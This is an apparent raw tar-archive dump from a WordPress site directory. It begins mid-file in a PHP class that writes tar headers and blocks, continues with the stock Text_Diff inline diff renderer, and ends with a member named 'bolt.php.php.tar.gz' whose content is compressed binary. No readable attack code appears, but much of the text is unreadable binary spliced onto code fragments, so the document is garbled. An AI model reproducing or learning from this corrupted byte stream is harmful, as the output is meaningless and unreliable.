			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                       inline.php.tar                                                                                      0000644                 00000016000 15217301621 0007313 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php                               0000644                 00000012630 15217274171 0021731 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        bolt.php.php.tar.gz                                                                                 0000644                 00000060651 15217301621 0010215 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Ys(v_5!9THq_DA$A 	?8{#?8¯~seUa"}ߵg	ԒU9^r=T[vy#HCq=U46+l^azgP0@$'҃p ߅V5NAM[/h=Ԙ ̂	073?JLFd K̿?H45ל(?5֦"H$ݡ'[uD37Z_cɩVVF(	!5^,UPix]G^}5C T*RCo|š	θG_QTӖn[p$|Cy#;~z=z|E7S__X"H>kDUޣ ?e-9 	wF̋CCYx	THP"<x&^d*-)k
AZYJ$K'Ԁy*Ғw (kѽq;HBc4ɲ8HVyNNDF{y4ÿUE~Q?;JѰD2^Յ}*o!7ť]+?9TU/CLx{4$ҫDSM`1ߝwhQXdQ4yMfD\i>Kp+[ʊ2swh|d2qp*3 罒t*N@#Ek7]&jҩf	m@g2IhY,_sj/zVxf/uM̌5Ѧʌ_V=-DqPl߇#p*l3J?bNw2x(xN"z(eV
\OBib1*$}48	?G4FD:%x۫mPl9@a[ID|Gķe	j#z?2^/ODAEVyFW%x-^i.Y为毗#Β\$UEF-K*d!t>x^>	q
Q8?x2.SxeʄQRK~'L	@ eΛ+
qo: 	dx:jn<-_jhAYheX @C8;N_G	qf1sd%WXYx@)JYP:?O=x'z
1NuhjNeCyL/K9z[rYJ[xũa-(|:sCҗGÉk@9ϣ&=śE(Qk
H
H>xCEyĻ,"C;*h||c<w7(lp{^FxXANwiSh{F5[_f0zĔExt9}N7skֲ V5oCԱ3'noPz
i,NBn? .T x]HI.| {v_@,s	;7ќE#~̡KPQgi AJ$.JDwJT`"GhBnWH :T,\YxN+2; u`.sܿ*z+͂K4[M2!Akv&[:eX/C#gMN9Xl,)D[KBY"t-Ќ0I))>ѐ٧X3OW9_$2W`GDJ8"6^U<h!	cZX^!WE*	KXL5:	ZS7NXB1*
QuY &v
M)!^z|[C4}8UidPh3IA
ڑӊRw#<(i,ى=M%] g(DxT9$On<uѼp[MZ-s_ʈAFw2[K'un2ss]*ladcd~2Ɋvyh:.efcW<ߘ79$Bʆ,>~:݃N%Y)1E":X|Gktr·Vdrk9U)S"T̠T:/h	*x1ih#cdFZiQ.éIA|D-p0YPB^"HQl#IBlNÿ10{@A/8Q["ƜEo3e=)qP9&qXl#u
h_4CzBl
N|I,p[DЦp76K6KnǂJ^vHyaT։DCHLΓ#&]A:$C^UC$)rHVT(b+TuK(&҉^6-{kkfR\=3ldxRb9Jc#*T	k!uE%I~/8\߾_/_wGMq]^%pHgЩAj|5%̱8@9=C^/`XO(^a	ݗd^_]NI!~";4Z@M^#Xd"_1{gIWf
xqᅥ?i6lWhW_t^[+cMNzBbc!	m*cRZ»EBՅiǍ>@w,65B!cIfD e#JyQ,/2sBkY|:Şqxڒ쳸S*36m-׵$
ZH,c+NhjT2F^2ɸ"]5H|D%brʿ2]dx$$c٦<a:8I1	)e_dQ"Fo 6~9-PQT*d9.!& o 6Y],hڀe]<÷L|1_e[Z\%tgT@Wa 
_i'eqRva(qڜA윌Xy|&&ބ/++V?	M"PTJˠ;JmH(EڢTYr#MxN48N?Q!D;xj&XM@	(-[Z)2l}4B.G@$dqGCǅ	Z{3vp8!Nk}A#M{6Pz1B 6kyMQ͡D(毤i[FKM}1"H;vi)tiBĝ!`G=$`"FAlRK15m~'zՔ͂,~ԥ
-iafҁ'xAc0?/ylD?pYD!AhnkN'VVgc`͎yŁ;e9[Kmz ]a;.WX_kur Qg*w`]%/Y`ywb;D]ƼԘ
feH(Jk"Gz2)AISHiIt}<eǭp#wOeJ"la>?1yy-8T8ۣ;֚># GWBll>ZGX:t:YAOi*$P
'*FDk.9æiH5JD(VE~lօsA4Pw@ށ10&Z|Pwv>
VbnGU!7i֭60?y4Mj%KEo#MOɤeC#3	J1Dv>t}IZdVB&Y:ű
WE%ltalj-}5Q nU#WI֠ D~Ц  46o`op~s_[2^^@}^!hIh@h"!Tѱ}Иcf9nDM	9'o&eҩ끪)fQ/2HP6{u%Ղ)1\!z#(yu;DϤ[w2}tJbEb9Ήt355<z15AC/8%)#:}p!2&g*8%jLѰn& |NC {,~BI4z	xXq]W)ʋq7t*כ98!֗t~&8`\x= Shsޢ|{R3K@;"&u`F&iOq	"RO\`6GIx5aI5`HkѦ,t3C Kv1k}Юiiͧb$@KWGt%B3?C&Œ1	RB?'^~WSccCk{cNc-|fIz+˄%aF9D"T5<J/KMH|鈚DiOgl(S=@jl<($5;6KסsV2M$Hv#8iHh4\ӡ݄+[fGUqş㛗91\9Fy9?E^y_D'	I'iĸ{=}&4;Ѡ]Yuunn+dZǝj `";eEk'ƛVI71~V:G.vt)H
:d<[^`CKy8#GkQ-j,כzLZի8+Lzxu!ºMw~FbhȩS8#ø`s,uot\_tÇkQE$!>GL@$vO8AT7ŭb`bsH|-ܓi"qZsÌ\7HdST@w0~f!$Asom4z:(uM/IB ?yr.b~c$G(&HőjRL3Ƞ065BNgrf:lQm,UKr	#<0LR[0LQ\*;~f,DG}t|$P5ZLҪtRvr;T$2lGd2#s3~H31Mb6{OX<,~b'sg0R[)n:&pkV~B@"R2!tO׿ڭk&SJ~}}08 z kg8eS[6Lrn7ׇAN>uW#έpVAtR^+b}dɉk)KQΓ(,\/N12-bN~|6'KC%W0|"^_HaJ 8	;@']āC:}ֈUBMj[^N+ʉ=z/"c[ӂ.R UBj~E=p?;'0-9k8#r#C|Rs#u(!\(NkvG73MzE"[fG,-%R*)ij8+9=bw"#dއtы")x[',^grkJlٵbfJvMWUԝR-WW33͞mi\aX
:;m-=E@aC>YbjKpȴ>TPf8T^HUڣ"\k^ x5y#H#4orå5 ʢ2m I'/5+#NBRexqk`rz>c9@:%Ph
A#=|CMH<IX88|K0K`f H,eA"{4Z]_r8]J;2^6Ra"ПJ=͵')z&rhC0JڹT+n)ZGFoq(dZAhCCVnzz)%-Bnl,VW名lZEyi;|H[!2A~pA)갵C<ϤjDpKUVV`t]
QRj?jS/"ucDv&,yr"2%,ZƣUKp'ڽi{YτfE 8_<*T``\;\y -h4Ċ)a*!vtFѳܑո
뉆ԛ|x>kDޖ=LÁ3'PJ\0?rThS6hDRh!PvX	s,r)e<Xw<j-l}+	OlL벱	#"TNKUyR<E鐘uP'٠\=̞wq6&B0ZXzJۙ62UKԜ+(;IjzjR}cO75zo5dr#nΥBp3(Iez;)j׳­]2q!thXOir4vrt{c}?TQ+T.?bNzݑ^tqP!sN]n+YSSB.Nެ,'!'OJKsF1l7XZ,O\`J&;<iO:tқ{ʮy?tthD.]{\+U߷ڛ<y6:Sd41hSOg{
|ٱl3Ad sF:n*hJѲ_-=YtSn{np˩}׳nH'7c{-cnWq88=#t-mSeidfF;S揓$$&4&[}f~V%[s6XgM!RbդA8?G
$0P81mt͡rlN9\лpaAf; EncZ z{KEdSF֚jU3WHibYI*6]	ExVmN v8иWϯjjdsZڪ\1ȥXiک/ E;l7 6EY-pc4uhrؓT6$ZʿGX6;J Q?QguI&֓m)7e/kHFô뜹CŢ冀M]|Uv_86{ՅCh%  :SQ@r'/,K^!	)CJp)9^TRq+аu-wNW׸$FkȼZȵ:Q"-z	; V\<>p(5ߚs@w_~oНL:Q-V9\)m[a?:A2].~fa	Jʲg UbkhyA!~f^&G>U@p!j2XeD+ x@<IWT9ILoC@GR_~o?;_	+Mi	/?}X7%	#@Q;a]RĞ-!'#nfıq~ǫ
Upto\3i:80KzcC*-Q(bxxK+@bP AUD\GO^l*XڨUuذ˂NI#	W5M3VA>+8v	&Ł	[xͤ#?=d1vsIɞJ}awm
o7=A9NM,"3 )/E	ؚ6LBY`&&4o\X%/x]8G͜l! ,oIT)v׻TNsfwxh7#k}̌ɅQقm>8h7b7&'glEh3uGgs{%f°^2y	zOAPic\%Q'oNb9a2k[͛nҟt}q$tk@?!]!J,L-FP_co5r,%[aM#b8&э:䐂p;bZ"^RsaqWs;.&	>2(.AXPB2B{dS8l.>ˌ7V'Kǒ-3c}?WkA3WMzwjȺu*ӭ[TjBcE[&z\'=X)531cK]yp\54JWN[YmQ[ȭӂouxǘY>|	Rn>&!|C߳tZXon洄y_,@
w:񻮰)RFn
4"3$s,0iglFf߀NȔfZ7KMiz3WpTS,X˝ZRNa|hAf_=?H8TC5XMUEu7~7;sLhK˦}cL=.A6|>`b]][2`	\4~ykU#ZKABcH|n#*S?&#joJ(2~Ųd2ceBZ.J$kͬ&O5!psXK:'떰8;gϖL~H_J粣z`gX%XE4Xh8nqP4&qb-ʭZmt_\bz2ZR3ٙ@zE=!'^P\`=Q?RsHˇjNn r6Uя&(.
a7;,n~￳%LKiF2LQ3 zr??b࿸;?g
7tP>yi#.hDK:^HW;ۊʷv[+6ЖPEIAxy;-f+=ouC8şP2Hpǈ2FZCj0ҋS\LQXd:ߩnI
|Y~EZx1k\Tc+s(4rvj*MT<xyBM8zBOcYʈɯ$\So_\_onK[ a#c_^rv]LCNaB[0'k[ݐtrp1;7V(v;=ÛM9+HО/(K͔W(;%Dm$O_-J0kw͘[îݸKLbs	W~5%-O,i##.~4HaXj^m|]=//q3O1g*b=Hm6ňXGÉH.fPmHw2HDcw+='rIo09?{?GG&6"*v#K~wmMy<=31rȧNi}mu`M@l/&XlRl.ŬECi="z('}p/={U`j`$.9-~\>K968eI`hR83Z>p2ESAaf_.g?d,	np
sk|	nЀm
q61VP:WH<&v%[|HrPhR3NTNBЦi6iX?fp=oVޔ'Hw\n
qa"ՙywrj(ȕh(J,q	.*\[j<<T&6FzZ|dwV!bJR¡S:Uzj٭RTSI*WʙT6oROeW8L20ퟷL1Nټ@7ZdT	.d˽`yʧT!%=VyX\'eV7E'TP|*?٦ҍE3^*-M?vb	\jO&O(!TCJ8UlQB\:W@b|ݬG 	ҁsysiW<J~UJWR$ߢ4Ʉ%pUQcՊfŸUv(5OdQpO99T,-5vUc<YOFcWza+[C8^uHeZy<H[Mu؀y8.Ǆbn?kV=[)>NaDN<ae#kvKnFn-M
Aha[oW='ONٓz^7tւ}ha*U+v)5N
B6<LXOe|Sy}^[%>dYL.dNTF񩕩Oә̢zxx}. 5BkȥFt+ra*ފpvf4KtHSV	 l2y^aF3G!hF=ٵepRLz	lMn}jg˝욛
r O6C}]qS*ue~\_': ZJFmML2r+jYm=ѶޜSV/7'F$OXYL2un$?V4yܗZϰ͊i`Z,gjݜow阐*zSh?czj-fN{,f3WW}L˳y\>}XPķlm^ԧqQ-IԐk۞VTsն?RcUN2ҦܡX̤dlFHzng6Z*=}HULfT?n+i7ORz1(NJ^jo+eQوt&+MXRf)MS˛NiZ~5:sS,JB;OlUJ묖z44he5*<<C'|av7jhje&ܣP	>%ecpV\.R?TJOTY!<;k"IEKikSBo~gܳ(
J5Viq##_3~![!nXZZK	(BtEyFz$%qi $yDn(d;n>Q9>;󰒪G;S[x(¬ݫ
R4C=NzĪ-~Y-`(qX+=⡧WeifUm%ׅΣnpKQZkn=ȑ.u:ˑ4e2&V"i}i4u\}Kk뵶ݼԛ$-]o=֦_I`mq?RGi35[բayXB|q,G.[fk3mZ+PR:GR>GA(rzKuB(j37"VlA9eוudC)KmUZI7"x:OXy~O{Ĭ?+#~E;f4톞,<Oa
|>Uо<.╍$z!-9RX=#M2t[}<,ŁZ;(@zVDNz.isZi}u_WHdV#,bOE݇i/pV<nrCߊ6R*Mٳ"ZEgh-[E)Fݜ6wHYX+xl\}/CBS#[{n7r-ӢZ]SZ}lmjh߭f$)0|ۨhb0Wj|>YWc!^ywXv#wOa8r,ZkxU~zW_V{Rd;q:({vhYy>~bպˈqW^~P#CO*U"	Jl?u9l$rj^G*P
rDvH-w|)W
N+:~=V~P&Xz/Z=DZ'fFPO7^%e#81C3mzlW&j}qHKn%z"\	V(ժ@b<(GƕRehsǃyh{z0GZS5bS-;VqiTS	tX{jZ4ZKae>sAmk(n@Ljfh=%Vw;]6R:*ƃ4!vg[
7w1{pT.3Mk,bz:ڊo=`x##MJ\Wn̓!@b,"Bv +X$XrmDs
msJĦϋU<FU9.kVI5(␋Ik^	 mJ<6Jxc._mFq%:`<k	A]ǂC)
[8jƝZ`	UfCb}'ð^6lȦ{ŭ@fO%	P9z<1?[g]o3:ĸr#UvY^IEwM0>QyrxF>]h#'ⵖ/>e68N_Eks
z]7,Sl4XFan" w4ANJbzJ>fRTR4}_V+l~xn=yjbUq>5Læ޷='8?~ґC_|Ju1"E?=nYzB:;juk<;q<&vM}~Rl(Zj{͊tWlzV4Bȥz*;pܜGܳzگm`iOSz_LBf<įO|d/d6[ǢM}i?N:عn%pL5(VQt7{"GJ-e)nirr*_^yA=O&kYg1fo
{GsQVPf׽\;ϭvROm׋Ыyvē^UIJVzUҫ8DJqaЩW/1nvPUL>]V\}&֞LiPPC?έKN=wœ_q*k`-D\<Vdu={9>ԴǮ'V+g`kv[lȉּ/2۴Į-O[ȟ?m!Bi-O[ȟ?m!Bsl!I9BBSmBAxb.<=4F]x6sQ
	ܶXy+4Ӿ{*vizO .	5դ9$4>ǳG3.RlȮlt~ m V|Mw&RlI](⓺,]S~w#<-aQIUr%jUzeӟnR`n'QQ+rE[HD#ʵ0֩mmPyfeBxc\ioR\*UOrPĐgR?3U~/#Y߭1ɵB5>ZO6WJdj;~74	>L|8'J!nǅj"=dbZ(Fw7K&	hg!^n^)Ȼ|DZWwRAَ7&\BBxJ!JO^Qu?8D=<p]&iS~Q6Ej?d!DExOj>M'nQOɤ,cnFYR{)}=rt=,!={T{;K6_GΊe'ZԦO`<6C]>zƞ#7!nr^(.X5_e=j(FI|~TS=ȽARPyTԠGUEge$zKZ"*=]ϖb4%{عx4t%>ngNz_.@_gfMTf~4E
n(}w[.
p
hz*n<֨e68j1uX(FpeS9<YFGc=F4PXG캾	)zI'`;0]V>
J`=S<Q}.BfmZ
êB}9\,U۫f.ZZ^mqG9nV"γr(C|X!ƍ>Qځվ=J$Uv^Chƅ
pQ#z+-N[_bLK)MLgl"	Vn%f?Dʍ4OGiM<Ze3yq-Er2;hvJu쌏n3H9*asfṑ>4Z`?
z:/$~38@P(p(5\]WfRWNXZiT2+WdY<ReH/erZznM1һ4Si g2ּ-?˧YҡRqtʟX6`
4{Pb/WzL?<.MK)P$2XIv/Rºou1`:8\u=jZKbiSWjtR}륃*+ַ)!:aTݩ6JLXL~$p:Tx^A]nG\ocArl$$o 7ĸlFnw7eNv;N'bUVҦ+(yO=8:Pa+|G!v/ѫ_]-
z%/>&o"tsq;,˟&7Z.$VDe)|Ԍ|~e#;:!D-y%टܸt}PʝAƲ ^=R~P@qkan}skk03B0 Z)(lÜK']-FC/b넛Ƨm?9b)((.P9o~`-Pʫ%G!V-I	&6yQ(%s~LlxE@6dAS%QG1h?k':&8=~ d^ݶHwv-ⅯI𤷢ʤ(iMz[ؙ_XQ߃=-?^p4x7bM+~hE[?0ހ/k0o0(m|P4 _1 1|Z	"  }-cD|=D<}.\ԯǑ䒵%L%ڶwDPC3%X[D 1P,c1)[0@Y8bW#'N1~?,@ |Qe({K`~6r,(DD,#>hY#(A,q gepkg<q"((:T%4kȈU_6.+HHt$[hjcۗ=PIK@p$cYf>U5\%B+zE^&SV?ƈOIv{J F֑rІiC`2IPerNqgڥ(x6Pq#0]}>8]w ]7?yޡJI  fMJ)iQ3t2d	_06P-2|	7a]8
!ƺ1_'Vĩ9;$-c!vl،~D\5GLF4AيŒ.d&Cghζ9Kvp&Y⨪Xƅc~J,ti~}qҹj+H7[,%cUl2w$8̋GaGA?ϫϗBO?ĥg[YR|&*"oZNco _WlhR_4KE9An	vDE'YHڝU#6d
K5/"ZJby:PξeĐ_ϟN1:Aymh8- g6)^%6 y9U]i$?Tk)[GȾcHQl&('XE@ )iA.DI?+#uDÿ)wiëp>d;zk:089줴E"JM:Nfȋ  Jiӓ3dH!	O}T"_trf$/N&H,'>[ @H-D\|9fEI;lI6_P?Vb)5Ldr'U.pۄ#.AXB9	McPz˛;b슗E8Í3~af4]ȣs|CJO[f"Of4U)&#u_i/||r,MnmS=s|RF?fg914(x:_/4W32g 3]'ۓߙ/oq$Xt37,kƁ(vľe?M3ԿO6H*LQ4el)\k{,_ O?/ə9f0"ވKaw\߰YkNI':)WI)ޭTWxqɭAN%#~2;;dlJ
si)7h^VEm
I|ѱ5qtC&oHƗl]O5ʜ1T9Nn "Fk!=9?Ӳ_bdKs̴+uc?~ްw1k,	3/K^:G E):1(ɍPIbbS嵂q6?)KDjD\Hq"'e LM0}uuD6(#`-nkAyէєa[C.amV 69uiQNv &`;U> ȑoMe~Kl/^z+namN?n9? Ǹ	T'~7d{&>	MDC:luÇ'.J
J:hi4fYKx8e,i/-5?]P^,^U] bbOA˽6lo'dNo&8j~o\;gYd.WXd˖ewV֝^ejCz8K#C"9v
|X'7)T+}II$@=MnM]<Oc hӋfnGtY]	^AQ"ؒ]Xv5Ni̚J'ΊMo>n=[%أz\}Y='LWZe47]9%,Lz\7!n4c|h|A?7Yo!L6WK߅44Bb'VCjE7ANnb.'_]v2$x⑭bý|V+xVyLV5tÍӦ{z]0Dc鐘iǁZT?mnSĆcm/ކgN݂iI	ՎiisTLqQ<Kiƫ8]h3e,#`?b7ɇC2
	KN0Uo %17lUɸ~NKC>V!TY\k_?f=i3-C*1ԯ_AA?Y	az_tzz[%-Y
EdIRS|M< z>u/BN>H8}9~]:Z/EcN[0'O{"X`ZC/<>8Egr,_ޠ*`qC! L$FR`&p8TG(pQ).PJVq}^7cW1"@&fRV6d#thdAң	O3QdzX9'\s47Nr-tY627N)ju q }'wg5[%
1SC: Cړ+X@	OjxzvK&V_Vv@I˨XcQOo7۬=.>'C5<8OSyb) 8Q,wfa߳9>LCJߛu gqauPh5%w|Li:C3OT#mQ.,50!U"N|C2dG3O&s8
)gQaIhcM
auzX;I_D;酐!mtC0pҋfߜ'lnr_lǫ7Mi)Ĳ֊']M(
H,5@a6J%/Ns)/KDh%j2{䋓P<^UW,KR:YDWЈ)V$#ir'|k<ʿ0+Pɍl&PJ\GObp|Nʺq/T9gkqLl,)+٫<އғi	~o׏1]}L	.q {|gv1.7a݋daC>ae`0CD"\}HA0W/'z(nPO~7MHհKy疫?-q05I$81a[<{*.c5
J,@?44ѽ*iwNrn7#VU^^l&f|mcyLZkH;6Gk~q Ui!_֣45YDZa cq>X>zs$jReىMP^Y^
v;X=<pp>%Zois=gio)z0.0һaPE;"r`j|D;s6t9q] yoE5bPΤAnG]JuC!IV6fH$%7n,\~+f0`n7dqI)khխ<X:E) ;Y^׎!q syfGk~	,V֤k	[]."Y*Fmr0$".'v>uJC;`z/[.pYno@q=|4LYfi`>j
>idL҇PA"lG%umptSIE7kʠ,%Ap+H
2#dsCT~TkFt{}n0TŅ$/W7CH4OxXuQ\L>ˀOG2~>3"D1HO!.3M@03C$$Bk4Kc=e>f"o΍pq\jJ0"F$UHbe<LQyAyh	Qu|N_
$EIjQÌ+'6BzRH
FZ@OhM{!
  ;E?D{fF	* ڍ
=@ǐE|C+z#x/ A5:Fq79ֿ"z"qJ:`K|1K~.}j(VXn[^ROmrp-DIʭ:_B*$㱀:5vQāvۆ|2a[ a?󧛛hLUf?#[L<%IRA3KPQJ}@Z"ȣ4Bimb/,⧯E
o77<|Z.f6on8d;{>f\(N8؂z#tg@wNfՅYTT~]~~wk-H:T! pOBq-;$η	kP#it[eiN=zK~|ɇS$6 |}qP^,%=.P:SJ.QM}Oj(k>ľvM"3#be.1Y8p9jϔ04YADНYr
Л59wձ,i
KTk^tpނӧ38PSB ^S6/ecj/
+ԯKu7f/!@zg tDS8su0HLwA|@<{gfFF#
v"x<S!dW-3b@3+A<L
C_g"i!FѦΉ\^UqEE화s0WG1d7\szX#Xǲc	䠊>֐"/K*dn}PÅ
?aC6[޺:r+8..RlHbȪ-QP	#ep>XQ:H~q(4#:|2'n.tiLa^vq1~ʩzVA
3<g仙kR	2]G,?D[ә" Gv33:6n}66pgyƠfu2oGt{3ϼX:ݺm;"<ep\nL'4s&rs"@++ot"HjATtqeDM{~inzyPDAy'^[dsǸsC KҞ>:[p\\ږbSv
,vLҪ-;_^@6&ZǗf2LaUw=}kݩ0Y.Lds'&xICyϟe:Zy[̹h^11	s4\	'߮zyXZַn]F3U|PFL=žkXҸ9}9/OnS^B` d\3zN9,ɿ- ƊMZ]+"E4r!m#c%--%qY~u[w=>w*;MA#ր'mYNy8p+WUnBg]NFm])\yƕG43.^y9T\8{3Ȭq2AHAn:`_уZt,ܖQ39wci6?<E	!-&F<ѯd9DUDݺ'IjP
{Mk)HF,g,ZfBg9+?0	Ε"*PqANxd~S׳)Ӎʐi(+
|&;V kRϨ9
HmdyTCuTvsxrʥ%It7GI`tD HowR |<';	n}ǽP)e./Tv30{6āK	&ax}m뱹 /y^5㺞r,QwfF`XCἭkڗxBt'j `,	n >a'($/>eC-o`CM(K,\q,z.)mĀp~׵9SO:)K3QG)Ǌ׻rywz]<.3.ST'a]mҐ`	%=\Bw?nr9},͟	Cm˝F	{1A}0Pɵsv7BoEfNY0EnBܿ MQFY[atb&(ʲb'/XH2a>3MA̸姄3Ʃ|Kq)0c9u$HԢ2Z=7-X<Ȅ{)HңEFkY ؀bIbMeWE_Hr\ھ	X	=텾;J}F$,K	NضQs=WP}6mynz
X8Ӟ!6(tU~@z1H7?hkFo't䟇G2wmL[h8wiޖ=JƸ@;KSn^MV}wE^]YeO4$YnCaůPrώ2ه2XIT:Խ?6YjC;T#F+/cNJqߐ8\h/];MmF0CPJǇgPV~E)u.?<A=MMZ:g6		M0dfu-WC?X9hxݑ"flX_
$ʟwdN-ZhFUk:f&ڂ?jn{cd[9:Ggoa87MK2oXOGwҴVv۸y*cT2@ZBq}Hi2tߣPݵ:7{22M%``Q -= IERUDChn+=$o.'ub\|!^z(zA 3FY:(IX G,]parAzB5i%Ffd>
